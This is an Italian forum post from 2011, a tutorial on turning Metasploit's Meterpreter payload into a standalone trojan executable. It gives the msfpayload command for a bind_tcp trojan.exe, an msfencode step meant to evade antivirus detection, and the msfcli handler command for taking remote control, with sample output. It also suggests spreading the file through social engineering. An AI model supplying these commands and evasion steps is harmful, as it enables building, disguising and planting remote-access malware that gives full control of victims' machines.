Creare un Trojan

« Older   Newer »
  Share  
shadereverse
view post Posted on 8/2/2011, 16:21




Con Metasploit è possibile creare ed eseguire exploit per ottenere l’accesso remoto a computer vulnerabili. L’interazione col computer colpito viene garantita da diversi payload che forniscono l’interfaccia tra l’attaccante e l’obiettivo. Uno di questi payload è il potente Meterpreter.

Una caratteristica interessante dei payload di Metasploit è che possono essere resi indipendenti dall’exploit; per esempio è possibile creare un file eseguibile “contenente” Meterpeter: si tratta a tutti gli effetti di un trojan. Questo file può essere distribuito, magari sfruttando tattiche di social-engineering. Una volta in esecuzione sulla macchina target offre all’intrusore un’interfaccia che consente a quest’ultimo il controllo totale del sistema.

Per creare un Meterpreter/trojan che apra la porta Tcp 4444 sulla macchina della vittima, è sufficiente eseguire msfpayload con i seguenti parametri:

$ msfpayload windows/meterpreter/bind_tcp X > trojan.exe
Created by msfpayload (www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
Length: 298


verrà prodotto un file di circa 37KB dal nome trojan.exe.

Probabilmente gli antivirus saranno in grado di rilevare questo file. Per tentare di confondere gli antivirus è possibile cifrare il trojan così ottenuto, rendedolo “undetectable”. Par farlo si usa msfencode, sempre in dotazione alla suite Metasploit:

$ msfpayload windows/meterpreter/bind_tcp R | msfencode -t exe > trojan.exe
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)



Questo comando fa in modo che ad ogni esecuzione venga creata una versione del trojan cifrata tramite xor; di fatto ogni volta viene creato un file diverso. Questa tattica rende più difficile agli antivirus l’individuazione del trojan.

Una volta creato il trojan è possibile testarlo eseguendolo sulla macchina locale. Se il trojan si avvia, sarà presente nella lista dei processi e nell’elenco delle porta aperte apparirà la porta 4444 aperta:


$ netstat -an

Connessioni attive

Proto Indirizzo locale Indirizzo esterno Stato
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING



Rimane un problema: come accedere alla PC compromesso, su cui gira il nostro Meterpreter/trojan? Serve un client. E naturalmente il client naturale è Metasploit, in particolare msfcli. Per collegarsi al Meterpreter remoto si usa msfcli specificando il tipo di payload e l’indirizzoo remoto (RHOST). In questo esempio l’indirizzo remoto è in realtà l’indirizzo del computer locale, su cui gira il trojan:


$ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=127.0.0.1 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (127.0.0.1:14359 > 127.0.0.1:4444)



Una volta avviato Meterpreter, la macchina è sotto il nostro completo controllo:

meterpreter > sysinfo
Computer: RONIN
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: it_IT
meterpreter >



In questo articolo ho mostrato come estrapolare il payload Meterpreter per poterlo utilizzare come trojan, come renderlo non rilevabile (o come tentare di farlo) dagli antivirus, e come collegarsi al trojan sfruttando la versione msfcli di Metasploit. E’ chiaro che utilizzando queste tecniche con tattiche di social-engineering, il penetration tester ha a disposizione un’arma formidabile per ottenere il controllo di qualsiasi computer.
 
Top
0 replies since 8/2/2011, 16:21   140 views
  Share